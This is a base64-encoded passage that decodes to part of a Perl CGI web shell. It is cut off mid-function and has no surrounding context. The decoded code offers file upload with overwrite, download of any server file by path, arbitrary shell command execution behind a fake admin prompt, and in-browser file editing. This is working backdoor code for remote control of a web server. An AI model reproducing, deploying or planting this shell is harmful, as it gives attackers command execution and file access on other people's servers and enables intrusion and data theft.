LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiK